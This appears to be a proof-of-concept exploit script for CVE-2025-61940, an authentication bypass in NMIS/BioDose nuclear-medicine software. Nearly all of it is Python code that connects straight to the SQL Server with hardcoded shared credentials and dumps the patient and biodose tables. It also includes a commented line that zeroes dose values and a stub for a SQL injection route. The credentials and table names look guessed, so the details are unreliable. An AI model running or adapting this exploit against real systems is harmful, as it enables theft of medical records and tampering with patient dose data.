CVE-2025-61940: NMIS/BioDose 数据库共享账户认证绕过漏洞

# CVE-2025-61940 PoC - NMIS/BioDose Database Authentication Bypass # This PoC demonstrates how to exploit the shared SQL Server account vulnerability import socket import pymssql def exploit_cve_2025_61940(target_ip, target_port=1433): """ Exploit: NMIS/BioDose Shared SQL Server Account Authentication Bypass Description: NMIS/BioDose V22.02 and previous versions use a common SQL Server user account to access the database. The client application's authentication checks can be bypassed by directly connecting to the database with the shared credentials. Prerequisites: - Network access to the SQL Server (typically port 1433) - Knowledge of the shared SQL Server credentials (often default or hardcoded) This PoC demonstrates direct database access that bypasses client authentication. """ # Common shared SQL Server credentials used by NMIS/BioDose # In real attack scenarios, these might be obtained via: # - SQL injection # - Configuration file disclosure # - Default credentials # - Credential brute-forcing shared_credentials = { 'server': target_ip, 'port': target_port, 'user': 'nmis_db_user', # Common shared account name 'password': 'BioDose2022!' } try: # Connect directly to the SQL Server database # This bypasses the client application's authentication mechanism conn = pymssql.connect( server=shared_credentials['server'], port=shared_credentials['port'], user=shared_credentials['user'], password=shared_credentials['password'], database='NMIS_BioDose' ) cursor = conn.cursor(as_dict=True) # Bypass client authentication - access all sensitive data directly print("[+] Successfully connected to database!") print("[+] Client-side authentication bypassed!") # Extract sensitive patient biodose information cursor.execute("SELECT * FROM PatientRecords") patient_data = cursor.fetchall() print(f"[+] Retrieved {len(patient_data)} patient records") # Access biodose measurement data cursor.execute("SELECT * FROM BioDoseMeasurements") biodose_data = cursor.fetchall() print(f"[+] Retrieved {len(biodose_data)} biodose measurements") # Modify or delete data (integrity impact) # Example: Tamper with biodose records # cursor.execute("UPDATE BioDoseMeasurements SET dose_value = 0 WHERE patient_id = 1") conn.close() print("[+] Exploitation complete - full database access achieved") return True except pymssql.Error as e: print(f"[-] Connection failed: {e}") print("[*] Try alternative credentials or check network access") return False # Alternative attack vector: Exploit via NMIS client application def exploit_via_client(target_ip, sql_injection_payload): """ Alternative attack: Use SQL injection in client application to extract the shared database credentials, then connect directly to bypass auth. """ print(f"[*] Sending SQL injection payload: {sql_injection_payload}") # Send payload to vulnerable endpoint # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_ip, 8080)) # ... payload injection code ... pass if __name__ == "__main__": print("CVE-2025-61940 PoC - NMIS/BioDose Authentication Bypass") print("=" * 60) # Replace with actual target # exploit_cve_2025_61940('192.168.1.100')